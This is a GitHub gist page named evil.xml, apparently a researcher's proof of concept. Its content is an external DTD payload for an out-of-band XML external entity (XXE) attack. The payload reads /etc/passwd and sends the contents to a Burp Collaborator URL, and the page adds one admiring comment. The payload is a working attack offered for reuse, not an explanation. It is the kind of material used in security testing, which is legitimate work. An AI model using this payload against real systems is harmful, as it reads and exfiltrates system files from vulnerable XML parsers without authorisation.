Skip to content

Instantly share code, notes, and snippets.

@nahamsec

nahamsec/evil.xml

Last active January 18, 2024 04:17
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save nahamsec/b1b8899b49e2eee9d0a85cbc38940e95 to your computer and use it in GitHub Desktop.
Save nahamsec/b1b8899b49e2eee9d0a85cbc38940e95 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
evil.xml
<!ENTITY % xxePOC SYSTEM "file:///etc/passwd">
<!ENTITY % exfildata "<!ENTITY &#x25; exfil SYSTEM 'http://7u2bvf9vu78d9wepre2c3qmg87e82x.burpcollaborator.net/?x=%xxePOC;'>">
%exfildata;
%exfil;
@djsubstance
Copy link

thx bro. your bada$$.

pls.. checkout my repo.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment